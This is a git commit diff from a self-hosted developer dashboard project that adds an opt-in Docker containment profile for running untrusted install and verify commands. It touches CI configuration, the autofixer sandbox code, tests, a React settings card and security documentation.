Self-hosted, Self-Improving, Federated Everything App — dev management, agent orchestration, persistent mind, digital twin, second brain, and creative pipeline from a single dashboard over Tailscale to port the user into the OS
JavaScript ai-agentsdashboarddeveloper-toolsdigital-twinquantified-selfsecond-brainself-hostedtailscale
Add a Docker containment profile for untrusted install and test runs (#12844) (#12857)
[._.]/c30dea643706
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.ymlindex aa1be17c86..d8ab8c230e 100644--- a/.github/workflows/ci.yml+++ b/.github/workflows/ci.yml@@ -61,6 +61,7 @@ jobs:prompt_history: ${{ steps.plan.outputs.prompt_history }}linux_containment: ${{ steps.plan.outputs.linux_containment }}supercollider_live: ${{ steps.plan.outputs.supercollider_live }}+ docker_containment_live: ${{ steps.plan.outputs.docker_containment_live }}windows: ${{ steps.plan.outputs.windows }}windows_mode: ${{ steps.plan.outputs.windows_mode }}windows_files: ${{ steps.plan.outputs.windows_files }}@@ -168,6 +169,7 @@ jobs:PROMPT_HISTORY_MODE: ${{ steps.plan.outputs.prompt_history }}LINUX_CONTAINMENT_MODE: ${{ steps.plan.outputs.linux_containment }}SUPERCOLLIDER_LIVE_MODE: ${{ steps.plan.outputs.supercollider_live }}+ DOCKER_CONTAINMENT_LIVE_MODE: ${{ steps.plan.outputs.docker_containment_live }}NODE_MINIMUM_MODE: ${{ steps.node-minimum.outputs.run }}WINDOWS_MODE: ${{ steps.plan.outputs.windows }}WINDOWS_TEST_MODE: ${{ steps.plan.outputs.windows_mode }}@@ -192,6 +194,7 @@ jobs:echo "- Shipped prompt history: \`${PROMPT_HISTORY_MODE}\`"echo "- Linux worker containment: \`${LINUX_CONTAINMENT_MODE}\`"echo "- SuperCollider live containment: \`${SUPERCOLLIDER_LIVE_MODE}\`"+ echo "- Docker containment live: \`${DOCKER_CONTAINMENT_LIVE_MODE}\`"echo "- Node minimum compatibility: \`${NODE_MINIMUM_MODE}\`"echo "- Windows server tests: \`${WINDOWS_MODE}\` (\`${WINDOWS_TEST_MODE}\`, shards \`${WINDOWS_SHARDS}\`)"echo "- Suite selection reasons: \`${SUITE_REASONS}\`"@@ -1222,6 +1225,37 @@ jobs:# the job is gated on those files' import closure.run: npm test --prefix server -- --run ../autofixer/sandbox.verify.test.js lib/codeAnimationContainment.test.js routes/codeAnimationExecution.test.js services/codeAnimation/containedWorker.test.js+ docker-containment-live:+ name: Docker containment live+ needs: impact+ # Path-gated by the impact planner's static import closure of the live+ # suite (DOCKER_CONTAINMENT_LIVE_ENTRIES), and part of CI Gate.+ if: needs.impact.outputs.docker_containment_live == 'true'+ # Native Docker Engine on a hosted runner. Docker Desktop on macOS is+ # verified manually (docs/CONTAINMENT.md); CI has no macOS Docker.+ runs-on: ubuntu-24.04+ timeout-minutes: 20+ permissions:+ contents: read+ steps:+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1+ with:+ persist-credentials: false+ - name: Require maintainer release for Dependabot+ run: node scripts/ci-dependabot-admission.js+ - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0+ with:+ node-version: 26.x+ cache: npm+ cache-dependency-path: server/package-lock.json+ - name: Install test dependencies without lifecycle scripts+ run: npm ci --ignore-scripts --prefix server+ - name: Prove the profile under a real engine+ working-directory: server+ env:+ PORTOS_DOCKER_CONTAINMENT_LIVE: '1'+ run: npx --no-install vitest run services/dockerContainment.live.test.js+supercollider-live:name: SuperCollider native ${{ matrix.arch }}needs: impact@@ -1346,7 +1380,7 @@ jobs:gate:name: CI Gateif: always()- needs: [impact, prompt-history, server, client, lint, database, browser, windows-server, node-minimum, linux-containment, supercollider-live]+ needs: [impact, prompt-history, server, client, lint, database, browser, windows-server, node-minimum, linux-containment, docker-containment-live, supercollider-live]runs-on: ubuntu-latesttimeout-minutes: 10# READ only: the reporter lists this run's jobs to name the one whose STEP@@ -1387,6 +1421,7 @@ jobs:CI_GATE_RESULT_WINDOWS_SERVER: ${{ needs.windows-server.result }}CI_GATE_RESULT_NODE_MINIMUM: ${{ needs.node-minimum.result }}CI_GATE_RESULT_LINUX_CONTAINMENT: ${{ needs.linux-containment.result }}+ CI_GATE_RESULT_DOCKER_CONTAINMENT_LIVE: ${{ needs.docker-containment-live.result }}CI_GATE_RESULT_SUPERCOLLIDER_LIVE: ${{ needs.supercollider-live.result }}run: node scripts/ci-gate-report.jsdiff --git a/autofixer/sandbox.js b/autofixer/sandbox.jsindex 10dde25f5d..96974f434b 100644--- a/autofixer/sandbox.js+++ b/autofixer/sandbox.js@@ -21,7 +21,8 @@* worktree; only a validated diff is ever promoted* back to the live checkout.* - `runVerifyCommand` — run the verify command over the agent-edited- * worktree under OS containment, never on the host.+ * worktree under OS containment (bubblewrap, else+ * the opt-in Docker profile), never on the host.** Node builtins plus dependency-light `server/lib` modules, so the standalone* autofixer package — which installs only `express` — can import it.@@ -555,8 +556,11 @@ function runGroup(file, args, { cwd, env, timeoutMs, seccomp = null }) {* so it runs only under OS containment (`autofixVerifyContainment.js`): no* network or host Unix sockets, writes confined to the worktree and a private scratch dir, no reads* of the PortOS data directory or host credential stores, and an environment- * built from nothing — no provider key or PortOS token. Without an enforced- * mechanism the verify is refused, which blocks promotion.+ * built from nothing — no provider key or PortOS token. Linux bubblewrap is+ * the first choice; without it (always on macOS) the Docker containment+ * profile runs the verify in its validate phase when the operator turned that+ * feature on (`opts.docker`). Without an enforced mechanism the verify is+ * refused, which blocks promotion — it never runs on the host.** @param {string} command user-configured shell command* @param {string} cwd worktree path@@ -565,11 +569,13 @@ function runGroup(file, args, { cwd, env, timeoutMs, seccomp = null }) {* @param {number} [opts.timeoutMs=300000]* @param {string} [opts.homeDir] host home whose credential stores are hidden (default: os.homedir())* @param {() => Promise<{ id: string|null, supported: boolean, reason: string|null }>} [opts.probe]+ * @param {{ enabled: boolean, settings?: object, run?: Function }} [opts.docker] the Docker containment feature flag and settings slice* @returns {Promise<{ ok: boolean, code: number, output: string, contained: boolean, mechanism?: string }>}*/-export async function runVerifyCommand(command, cwd, { dataDir = null, homeDir = homedir(), timeoutMs = 300000, probe = probeVerifyContainment } = {}) {+export async function runVerifyCommand(command, cwd, { dataDir = null, homeDir = homedir(), timeoutMs = 300000, probe = probeVerifyContainment, docker = null } = {}) {const mechanism = await probe();if (!mechanism.supported || mechanism.id !== 'linux-bubblewrap') {+ if (docker?.enabled) return runDockerVerify(command, cwd, { dataDir, homeDir, timeoutMs, docker, bubblewrapReason: mechanism.reason });return { ok: false, code: -1, contained: false, output: `[verify] refused: no enforced containment for the verify command — ${mechanism.reason}` };}const scratchDir = await mkdtemp(join(tmpdir(), 'portos-autofix-verify-'));@@ -603,6 +609,42 @@ export async function runVerifyCommand(command, cwd, { dataDir = null, homeDir =}}+// The Docker validate phase: no network, the worktree read-only, and a work+// copy in a throwaway volume. Loaded lazily so the bubblewrap path (and its+// Linux CI job) does not pull the Docker executor in.+// A disposable worktree has no node_modules, so a repo with an npm lockfile+// gets a contained `npm ci` (registry-only network) into the same work volume+// first, under the install phase's own wall limit (the verify timeout bounds+// the verify command alone); the verify then runs with no network over it.+// The install allowlist includes the worktree's .npmrc registries; that file+// is the repository's committed one, because validateProposedDiff refuses any+// .npmrc edit before a verify runs.+async function runDockerVerify(command, cwd, { dataDir, homeDir, timeoutMs, docker, bubblewrapReason }) {+ const run = docker.run ?? (await import('../server/services/dockerContainment.js')).runContained;+ const common = { worktree: cwd, settings: docker.settings ?? {}, dataDir, homeDir };+ const hasLockfile = await lstat(join(cwd, 'package-lock.json')).then((info) => info.isFile(), () => false);+ let installLog = '';+ if (hasLockfile) {+ const install = await run({ ...common, phase: 'install', command: 'npm ci' });+ if (install.status !== 'refused') installLog = `${install.log ?? ''}\n`;+ if (install.status !== 'refused' && !(install.status === 'completed' && install.exitCode === 0)) {+ return { ok: false, code: Number.isInteger(install.exitCode) ? install.exitCode : -1, contained: true, mechanism: 'docker', output: `${installLog}[verify] the contained npm ci failed (${install.reason ?? install.error ?? `exit ${install.exitCode}`})` };+ }+ }+ const result = await run({ ...common, phase: 'validate', command, timeoutMs });+ if (result.status === 'refused') {+ return { ok: false, code: -1, contained: false, output: `[verify] refused: no enforced containment for the verify command — ${bubblewrapReason}; Docker containment unavailable — ${result.reason}` };+ }+ const note = result.status === 'terminated' ? `\n[verify] ${result.reason === 'timeout' ? `timed out after ${timeoutMs}ms` : 'cancelled'}` : result.error ? `\n[verify] ${result.error}` : '';+ return {+ ok: result.status === 'completed' && result.exitCode === 0,+ code: Number.isInteger(result.exitCode) ? result.exitCode : -1,+ output: `${installLog}${result.log ?? ''}${note}`,+ contained: true,+ mechanism: 'docker',+ };+}+/*** Apply a validated diff to the live checkout. `git apply --check` first so a* non-applying patch never half-lands. Returns { ok } or { error }.diff --git a/autofixer/sandbox.test.js b/autofixer/sandbox.test.jsindex a0b46ab41c..ca8d1c5907 100644--- a/autofixer/sandbox.test.js+++ b/autofixer/sandbox.test.js@@ -269,6 +269,70 @@ describe('runVerifyCommand — contained, credential-free verify', () => {expect(spawnMock).not.toHaveBeenCalled();});+ const noBubblewrap = async () => ({ id: null, supported: false, reason: 'bubblewrap is unavailable on this host' });++ it('runs the Docker validate phase when bubblewrap is unavailable and the operator enabled it', async () => {+ const run = vi.fn(async () => ({ status: 'completed', exitCode: 0, log: 'tests passed', contained: true }));+ const result = await runVerifyCommand('npm test', '/example/worktree', {+ dataDir: '/example/data', timeoutMs: 5000, probe: noBubblewrap, docker: { enabled: true, settings: { limits: { cpus: 1 } }, run },+ });+ expect(result).toEqual({ ok: true, code: 0, output: 'tests passed', contained: true, mechanism: 'docker' });+ expect(run).toHaveBeenCalledWith(expect.objectContaining({+ worktree: '/example/worktree', phase: 'validate', command: 'npm test', dataDir: '/example/data', timeoutMs: 5000, settings: { limits: { cpus: 1 } },+ }));+ const failed = await runVerifyCommand('npm test', '/example/worktree', {+ probe: noBubblewrap, docker: { enabled: true, run: async () => ({ status: 'terminated', reason: 'timeout', exitCode: null, log: 'partial' }) }, timeoutMs: 10,+ });+ expect(failed).toMatchObject({ ok: false, code: -1, contained: true, output: 'partial\n[verify] timed out after 10ms' });+ });++ it('installs a locked npm project contained before verifying, and fails the verify when that install fails', async () => {+ const worktree = await mkdtemp(join(tmpdir(), 'autofix-docker-verify-'));+ try {+ await writeFile(join(worktree, 'package-lock.json'), '{}');+ const run = vi.fn(async ({ phase }) => ({ status: 'completed', exitCode: 0, log: `${phase} ok`, contained: true }));+ const result = await runVerifyCommand('npm test', worktree, { probe: noBubblewrap, docker: { enabled: true, run } });+ expect(run.mock.calls.map(([opts]) => [opts.phase, opts.command, opts.timeoutMs])).toEqual([['install', 'npm ci', undefined], ['validate', 'npm test', 300000]]);+ expect(result).toMatchObject({ ok: true, contained: true, output: 'install ok\nvalidate ok' });+ run.mockImplementationOnce(async () => ({ status: 'completed', exitCode: 1, log: 'ERESOLVE', contained: true }));+ const broken = await runVerifyCommand('npm test', worktree, { probe: noBubblewrap, docker: { enabled: true, run } });+ expect(broken).toMatchObject({ ok: false, code: 1, contained: true });+ expect(broken.output).toContain('the contained npm ci failed');+ expect(run).toHaveBeenCalledTimes(3);+ } finally {+ await rm(worktree, { recursive: true, force: true });+ }+ });++ it('refuses with the Docker resolver reason, executing nothing, when Docker is stopped or absent', async () => {+ const { runContained } = await import('../server/services/dockerContainment.js');+ const { resolveDockerEngine } = await import('../server/services/dockerEngine.js');+ /** Real resolver verdicts for an absent, a stopped and a remote-only Docker. */+ const dockerVerdict = (kind) => {+ if (kind === 'absent') return resolveDockerEngine({ bin: null });+ const endpoint = kind === 'remote' ? 'ssh://[email protected]' : 'unix:///var/run/docker.sock';+ const createCli = () => ({+ capture: async (args) => (args[0] === 'context'+ ? { success: true, stdout: JSON.stringify({ Name: 'example', Current: true, DockerEndpoint: endpoint }) }+ : { success: false, stdout: '', stderr: 'Cannot connect to the Docker daemon' }),+ });+ return resolveDockerEngine({ bin: '/usr/bin/docker', createCli, env: {}, platform: 'linux' });+ };+ for (const engine of [await dockerVerdict('absent'), await dockerVerdict('stopped')]) {+ expect(engine.ready).toBe(false);+ const result = await runVerifyCommand('npm test', '/example/worktree', {+ probe: noBubblewrap, docker: { enabled: true, run: (opts) => runContained({ ...opts, deps: { engine } }) },+ });+ expect(result).toMatchObject({ ok: false, code: -1, contained: false });+ expect(result.output).toContain(engine.message);+ }+ expect(spawnMock).not.toHaveBeenCalled();+ // Feature off: refused exactly as before, Docker never consulted.+ expect(await runVerifyCommand('npm test', '/example/worktree', { probe: noBubblewrap, docker: { enabled: false, run: spawnMock } }))+ .toMatchObject({ ok: false, contained: false });+ expect(spawnMock).not.toHaveBeenCalled();+ });+it('launches under bubblewrap with an environment built from nothing', async () => {const worktree = await mkdtemp(join(tmpdir(), 'autofix-verify-test-'));vi.stubEnv('ANTHROPIC_API_KEY', 'sk-ant-example-secret');diff --git a/autofixer/server.js b/autofixer/server.jsindex 82dc5ae8ba..9410a841b1 100644--- a/autofixer/server.js+++ b/autofixer/server.js@@ -363,7 +363,12 @@ async function fixProcess(processName, app, errorLogs, outputLogs) {let verify = null;if (validation.ok && verifyCommand) {console.log(`🧪 [Autofixer] Verifying ${processName} fix: ${verifyCommand}`);- verify = await runVerifyCommand(verifyCommand, worktreePath, { dataDir: DATA_DIR });+ verify = await runVerifyCommand(verifyCommand, worktreePath, {+ dataDir: DATA_DIR,+ // Settings > Features > Docker containment: the verify container used when+ // bubblewrap is unavailable (always on macOS). An explicit opt-in only.+ docker: { enabled: settings.instanceFeatures?.['docker-containment']?.enabled === true, settings: settings.dockerContainment ?? {} },+ });if (!verify.contained) console.warn(`🛑 [Autofixer] ${verify.output}`);outputBuffer.push(`\n[VERIFY exit ${verify.code}]\n${verify.output}`);}diff --git a/autofixer/server.test.js b/autofixer/server.test.jsindex 181ab2c017..5ec1e670ce 100644--- a/autofixer/server.test.js+++ b/autofixer/server.test.js@@ -165,6 +165,27 @@ describe('Autofixer daemon repair input boundary', () => {verify: { ok: false, contained: false, exitCode: -1 } });});+ it('promotes a fix the Docker-contained verifier passed, and only when the operator opted in', async () => {+ harness.settings = {+ autofixer: { autoPromote: true, verifyCommand: 'npm test' },+ instanceFeatures: { 'docker-containment': { enabled: true } },+ dockerContainment: { limits: { cpus: 1 } },+ };+ harness.provider.mockResolvedValue({ text: 'repaired', partial: false, exitCode: 0 });+ harness.validate.mockReturnValue({ ok: true, files: ['a.js'] });+ harness.verify.mockResolvedValue({ ok: true, contained: true, code: 0, output: 'ok', mechanism: 'docker' });+ harness.apply.mockResolvedValue({ ok: true });+ await start();+ expect(harness.verify.mock.calls[0][2]).toMatchObject({ docker: { enabled: true, settings: { limits: { cpus: 1 } } } });+ expect(harness.apply).toHaveBeenCalledOnce();++ harness.settings = { autofixer: { verifyCommand: 'npm test' } };+ harness.verify.mockClear();+ vi.resetModules();+ await start();+ expect(harness.verify.mock.calls[0][2].docker).toEqual({ enabled: false, settings: {} });+ });+it('still cools the process down when persisting the session fails', async () => {harness.provider.mockResolvedValue({ exitCode: 0, partial: false });harness.validate.mockReturnValue({ ok: true, files: ['a.js'] });diff --git a/client/src/components/settings/DockerContainmentCard.jsx b/client/src/components/settings/DockerContainmentCard.jsxnew file mode 100644index 0000000000..bdce7715be--- /dev/null+++ b/client/src/components/settings/DockerContainmentCard.jsx@@ -0,0 +1,121 @@+import { useCallback, useEffect, useState } from 'react';+import BrailleSpinner from '../BrailleSpinner';+import toast from '../ui/Toast';+import { getDockerContainmentStatus, pullDockerContainmentImage } from '../../services/api';++const ENGINE_STATE_LABELS = {+ ready: 'Ready',+ 'docker-missing': 'Docker is not installed',+ 'docker-stopped': 'Docker is not running',+ 'docker-unsupported': 'Docker cannot run Linux containers here',+ 'docker-remote-refused': 'The Docker endpoint is not local',+};++// The Docker containment row's status in Settings > Features (#12844). Rendered+// only while the feature is on, so a fresh install never makes a Docker call;+// it reads the engine verdict here rather than on the shared feature list+// because the sidebar and ⌘K read that list on every page load.+export function DockerContainmentCard() {+ const [status, setStatus] = useState(null);+ const [error, setError] = useState(null);+ const [checking, setChecking] = useState(false);+ const [pulling, setPulling] = useState(null);++ const load = useCallback(async () => {+ setChecking(true);+ // Silent: shown inline on the card, not as a toast on every Settings visit.+ const result = await getDockerContainmentStatus({ silent: true }).catch((err) => err);+ if (result instanceof Error) setError(result);+ else {+ setError(null);+ setStatus(result);+ }+ setChecking(false);+ }, []);++ useEffect(() => { load(); }, [load]);++ const handlePull = async (major) => {+ setPulling(major);+ const result = await pullDockerContainmentImage(major, { silent: true }).catch((err) => err);+ setPulling(null);+ if (result instanceof Error) {+ toast.error(result.message || `Could not pull the Node ${major} image`);+ return;+ }+ toast.success(`Pulled the Node ${major} image`);+ setStatus((current) => current && {+ ...current,+ images: current.images.map((image) => (image.major === major ? { ...image, present: true } : image)),+ });+ };++ if (error) {+ return (+ <div className="mt-3 text-xs text-port-error">+ <p>{error.message || 'Could not read the Docker containment status'}</p>+ <button+ type="button"+ onClick={load}+ className="inline-flex items-center justify-center min-h-[44px] px-3 mt-2 text-sm bg-port-border hover:bg-port-border/70 text-white rounded transition-colors"+ >+ Retry+ </button>+ </div>+ );+ }++ if (!status) return <div className="mt-3"><BrailleSpinner text="Checking for a local Docker engine" /></div>;++ return (+ <div className="mt-3 space-y-2 text-xs text-gray-400">+ <p className={status.ready ? 'text-port-success' : 'text-port-warning'}>+ {ENGINE_STATE_LABELS[status.state] ?? status.state}+ </p>+ <p>{status.message}</p>+ {status.engine && (+ <dl className="grid grid-cols-1 sm:grid-cols-2 gap-x-4 gap-y-1">+ <div className="min-w-0">+ <dt className="text-gray-500">Engine</dt>+ <dd className="break-all text-gray-300">{status.engine.label}{status.engine.serverVersion ? ` ${status.engine.serverVersion}` : ''}</dd>+ </div>+ <div className="min-w-0">+ <dt className="text-gray-500">Context</dt>+ <dd className="break-all text-gray-300">{status.engine.context || 'DOCKER_HOST'}</dd>+ </div>+ </dl>+ )}+ {status.ready && status.images.length > 0 && (+ <ul className="space-y-1" aria-label="Pinned Node images">+ {status.images.map((image) => (+ <li key={image.major} className="flex flex-wrap items-center gap-2">+ <span className="text-gray-300">Node {image.major}</span>+ {image.present+ ? <span className="text-port-success">pulled</span>+ : (+ <button+ type="button"+ onClick={() => handlePull(image.major)}+ disabled={pulling !== null}+ className="inline-flex items-center justify-center min-h-[44px] px-3 text-sm bg-port-accent hover:bg-port-accent/80 disabled:opacity-50 text-white rounded transition-colors"+ >+ {pulling === image.major ? 'Pulling…' : 'Pull image'}+ </button>+ )}+ </li>+ ))}+ </ul>+ )}+ <button+ type="button"+ onClick={load}+ disabled={checking}+ className="inline-flex items-center justify-center min-h-[44px] px-3 text-sm bg-port-border hover:bg-port-border/70 disabled:opacity-50 text-white rounded transition-colors"+ >+ {checking ? 'Rechecking…' : 'Recheck Docker'}+ </button>+ </div>+ );+}++export default DockerContainmentCard;diff --git a/client/src/components/settings/DockerContainmentCard.test.jsx b/client/src/components/settings/DockerContainmentCard.test.jsxnew file mode 100644index 0000000000..31fe990085--- /dev/null+++ b/client/src/components/settings/DockerContainmentCard.test.jsx@@ -0,0 +1,42 @@+import { describe, expect, it, beforeEach, vi } from 'vitest';+import { fireEvent, render, screen, waitFor } from '@testing-library/react';++const mock = vi.hoisted(() => ({ getDockerContainmentStatus: vi.fn(), pullDockerContainmentImage: vi.fn() }));+vi.mock('../../services/api', () => mock);+vi.mock('../ui/Toast', () => ({ default: { success: vi.fn(), error: vi.fn() } }));++import DockerContainmentCard from './DockerContainmentCard';++const READY = {+ enabled: true, state: 'ready', ready: true, message: 'Docker Desktop 29.0.0 is ready (context desktop-linux).',+ engine: { kind: 'desktop', label: 'Docker Desktop', context: 'desktop-linux', serverVersion: '29.0.0' },+ images: [{ major: 24, ref: 'node:24@sha256:x', present: true }, { major: 26, ref: 'node:26@sha256:y', present: false }],+};++describe('DockerContainmentCard', () => {+ beforeEach(() => {+ vi.clearAllMocks();+ mock.getDockerContainmentStatus.mockResolvedValue(READY);+ mock.pullDockerContainmentImage.mockResolvedValue({ ok: true });+ });++ it('shows the selected engine and pulls a missing image only on request', async () => {+ render(<DockerContainmentCard />);+ expect(await screen.findByText('Ready')).toBeTruthy();+ expect(screen.getByText('Docker Desktop 29.0.0')).toBeTruthy();+ expect(screen.getByText('desktop-linux')).toBeTruthy();+ expect(mock.pullDockerContainmentImage).not.toHaveBeenCalled();+ fireEvent.click(screen.getByRole('button', { name: 'Pull image' }));+ await waitFor(() => expect(mock.pullDockerContainmentImage).toHaveBeenCalledWith(26, { silent: true }));+ await waitFor(() => expect(screen.queryByRole('button', { name: 'Pull image' })).toBeNull());+ expect(screen.getAllByText('pulled')).toHaveLength(2);+ });++ it('names why Docker is unavailable and offers no pull', async () => {+ mock.getDockerContainmentStatus.mockResolvedValue({ ...READY, state: 'docker-stopped', ready: false, message: 'Docker is installed but no local engine answered.', engine: null });+ render(<DockerContainmentCard />);+ expect(await screen.findByText('Docker is not running')).toBeTruthy();+ expect(screen.getByText('Docker is installed but no local engine answered.')).toBeTruthy();+ expect(screen.queryByRole('button', { name: 'Pull image' })).toBeNull();+ });+});diff --git a/client/src/components/settings/InstanceFeaturesTab.jsx b/client/src/components/settings/InstanceFeaturesTab.jsxindex 98c3c9ba88..c1ccd75ff5 100644--- a/client/src/components/settings/InstanceFeaturesTab.jsx+++ b/client/src/components/settings/InstanceFeaturesTab.jsx@@ -4,6 +4,7 @@ import toast from '../ui/Toast';import BrailleSpinner from '../BrailleSpinner';import ToggleSwitch from '../ToggleSwitch';import RiggingRuntimeCard from './RiggingRuntimeCard';+import DockerContainmentCard from './DockerContainmentCard';import { useInstanceFeatures, publishInstanceFeatures } from '../../hooks/useInstanceFeatures.js';import { isGitHubRepoUrl, parseGitHubUrl } from '../../lib/repoUrl.js';import { getPrimaryLaunchUrl } from '../../services/appUrls.js';@@ -250,6 +251,7 @@ export function InstanceFeaturesTab() {generic "no <label> instance is configured" hint would talk aboutan integration this feature does not have. */}{isRigging && <RiggingRuntimeCard />}+ {feature.id === 'docker-containment' && feature.enabled && <DockerContainmentCard />}{isEidoverse && (<div className="mt-3 space-y-1 text-xs text-gray-400">{needsInstall && <p>diff --git a/client/src/services/README.md b/client/src/services/README.mdindex 1c269ebe7f..5829bdd129 100644--- a/client/src/services/README.md+++ b/client/src/services/README.md@@ -160,6 +160,7 @@ toasts on throw). **Custom catch ⇒ `silent: true`** — otherwise toasts fire| `uiInteract.js` | Execute voice `ui_click` / `ui_fill` / `ui_select` against live DOM. || `domIndex.js` | DOM indexer for voice accessibility mode. || `staleBuildToast.jsx` | Sticky toast shown when server's build id differs from client's. |+| `apiDockerContainment.js` | Docker containment (#12844). `getDockerContainmentStatus()` (`GET /docker-containment/status`): engine verdict (Docker Desktop vs native Engine, context, version) and which pinned Node images are pulled — no Docker call while the feature is off. `pullDockerContainmentImage(major)` (`POST /docker-containment/pull`): the explicit operator pull. || `apiRigging.js` | Character rigging. `getRiggingReadiness()` (`GET /rigging/readiness`): whether this install's Blender runtime is provisioned, the resolved interpreter, the module version, the install command when it is not, and the auto-skin threshold defaults. `rigImageTo3dModel(id, body)` (`POST /rigging/models/:id`): auto-skin a rendered mesh behind the measured weight-coverage gate, resolving with the updated model record. `listRiggingClips()` (`GET /rigging/clips`): the locally-held animation clip library plus CoS-state coverage. `retargetImageTo3dModel(id, body)` (`POST /rigging/models/:id/retarget`): apply a clip to a published rig in `diagnostic` (measure only) or `write` mode, resolving with the updated model record. || `apiAvatar.js` | Avatar surfaces. `getRiggedAvatars()` (`GET /avatar/rigged`): the install's verified animated records, each with its `?variant=` spelling, serving URL, retargeted clip name, and server-computed CoS-state coverage. |diff --git a/client/src/services/api.js b/client/src/services/api.jsindex 0abcb96329..82a29a3887 100644--- a/client/src/services/api.js+++ b/client/src/services/api.js@@ -98,6 +98,7 @@ export * from './apiPrivacy.js';export * from './apiQuotaBurn.js';export * from './apiRapidReader.js';export * from './apiRigging.js';+export * from './apiDockerContainment.js';// Default export for simplified imports (get/post/put/delete helpers)export { default } from './apiCore.js';diff --git a/client/src/services/apiDockerContainment.js b/client/src/services/apiDockerContainment.jsnew file mode 100644index 0000000000..a01ff96f1a--- /dev/null+++ b/client/src/services/apiDockerContainment.js@@ -0,0 +1,10 @@+import { request } from './apiCore.js';++// Docker containment (#12844): the engine verdict and pinned-image presence for+// Settings > Features. The server answers without any Docker call while the+// feature is off.+export const getDockerContainmentStatus = (options) => request('/docker-containment/status', options);++// Explicit operator action: pull one pinned Node image. Runs never pull.+export const pullDockerContainmentImage = (major, options) =>+ request('/docker-containment/pull', { method: 'POST', body: JSON.stringify({ major }), ...options });diff --git a/docs/API.md b/docs/API.mdindex caf149f934..3a81b4af3d 100644--- a/docs/API.md+++ b/docs/API.md@@ -813,6 +813,7 @@ Every mounted API prefix (see `server/index.js` for the authoritative list). Dom| `/api/universe-builder` | Universe Builder || `/api/authors`, `/api/artists`, `/api/albums`, `/api/tracks`, `/api/music` | Music/creator catalogs || `/api/music/supercollider` | Contained SuperCollider runtime status, setup and offline renders ([SUPERCOLLIDER.md](./SUPERCOLLIDER.md)) |+| `/api/docker-containment` | Opt-in Docker containment: engine status, explicit image pull, contained install/validate runs over a worktree ([CONTAINMENT.md](./CONTAINMENT.md)) || `/api/pipeline` | Series/comic pipeline || `/api/conflict-journal` | Sync conflict journal || `/api/importer` | Story importer |diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.mdindex a42e454523..cd03bdf68e 100644--- a/docs/ARCHITECTURE.md+++ b/docs/ARCHITECTURE.md@@ -202,10 +202,19 @@ Server Event → Socket.IO → socket.js → React Component State Update1. portos-autofixer daemon starts, reads registered apps from data/apps.json2. Every 15 minutes, polls PM2 (pm2 jlist) for crashed processes3. For each errored process (with 30min cooldown):- a. Fetch last 100 lines of error logs + 50 lines of output logs- b. Build prompt with crash context and app info- c. Spawn Claude CLI in app's repo directory to diagnose and fix- d. Save session (prompt.txt, output.txt, metadata.json) to data/autofixer/sessions/+ a. Fetch last 100 lines of error logs + 50 lines of output logs (UNTRUSTED)+ b. Build a prompt that fences the logs as data, not instructions+ c. Cut a disposable detached git worktree; refuse a non-git app+ d. Run a restricted CLI provider there (claude without shell/network tools,+ or codex in its network-denied workspace-write sandbox) with an+ allowlisted environment+ e. Validate the diff (size, paths, no secrets)+ f. Optionally run the configured verify command, contained: bubblewrap on+ Linux, else the opt-in Docker containment profile (always on macOS);+ no containment => verify refused => nothing promoted+ g. Promote (git apply + pm2 restart) only when settings.autofixer.autoPromote+ is on; otherwise stage the patch beside the session+ h. Save session (prompt.txt, output.txt, metadata.json, fix.patch) to data/autofixer/sessions/4. portos-autofixer-ui (:5560) serves standalone dashboard:- SSE endpoint for real-time log streaming- Fix history viewer with success/failure status@@ -286,8 +295,9 @@ Server Event → Socket.IO → socket.js → React Component State Update- **Daemon** (:5559): Polls PM2 every 15 minutes for errored processes- Reads `data/apps.json` to know which processes to monitor- 30-minute cooldown per process to prevent fix loops-- Spawns Claude CLI with crash context (error logs + app info) to auto-repair-- Stores fix sessions in `data/autofixer/sessions/` (prompt, output, metadata)+- Repairs in a disposable worktree with a restricted CLI provider (`autofixer/sandbox.js`), never the live checkout+- Verifies under containment ([CONTAINMENT.md](./CONTAINMENT.md)) and promotes only a validated, verified diff when `autoPromote` is on+- Stores fix sessions in `data/autofixer/sessions/` (prompt, output, metadata, patch)- **UI** (:5560): Standalone Express server with SSE real-time log streaming- Serves HTTPS with the shared Tailscale cert (`data/certs/`) when one is present, plain HTTP otherwise — matching the scheme the sidebar's `//<host>:5560` link inherits from the main app- Fix history viewer, process status dashboard@@ -326,11 +336,15 @@ Error severity levels:## Security Model-1. **Network Security**: Relies on Tailscale for access control-2. **Command Allowlist**: Shell execution restricted to approved commands-3. **No Shell Interpolation**: Uses `spawn()` with argument arrays-4. **Zod Validation**: All API inputs validated-5. **Path Traversal Prevention**: Filename sanitization on uploads+The authoritative statement is "Security Model" in the root `AGENTS.md`; in brief:++1. **Network Security**: A private network behind Tailscale; PortOS is never exposed to the public internet+2. **Optional authentication**: An instance password (off by default) gates `/api/*` and `/data/*`; spawned agents carry a loopback `PORTOS_API_TOKEN`; host-control routes (`server/lib/hostControlRoutes.js`) need operator authority+3. **Command Allowlist**: Shell execution restricted to approved commands (`server/lib/commandSecurity.js`)+4. **No Shell Interpolation**: Uses `spawn()` with argument arrays+5. **Zod Validation**: All API inputs validated+6. **Path Traversal Prevention**: Filename sanitization on uploads+7. **Containment for untrusted code**: Code Animation workers, autofix verification, SuperCollider renders and opt-in Docker-contained installs/tests run under the profiles in [CONTAINMENT.md](./CONTAINMENT.md), refusing rather than running on the host when their mechanism is unavailable## PM2 Process Mapdiff --git a/docs/CONTAINMENT.md b/docs/CONTAINMENT.mdnew file mode 100644index 0000000000..2fc50ca046--- /dev/null+++ b/docs/CONTAINMENT.md@@ -0,0 +1,162 @@+# Containment profiles++PortOS runs code nobody has reviewed: lifecycle scripts and test suites of+freshly bumped packages, verify commands over an agent-edited worktree,+generated SuperCollider and Code Animation source. Each of those runs under a+containment profile — never with the host user's full privileges — and every+profile **refuses** rather than falling back to the host when its mechanism is+unavailable.++| Profile | Mechanism | Platforms | Contract / runner | Used by |+|---------|-----------|-----------|-------------------|---------|+| Code Animation worker | Seatbelt (macOS), bubblewrap + seccomp (Linux); single process, no fork | macOS, Linux | `server/lib/codeAnimationContainment.js` / `server/services/codeAnimation/containedWorker.js` | Code Animation production renders ([CODE_ANIMATION_PACKAGES.md](./CODE_ANIMATION_PACKAGES.md)) |+| Autofix verify (bubblewrap) | bubblewrap namespaces + seccomp (no network, no AF_UNIX, PID 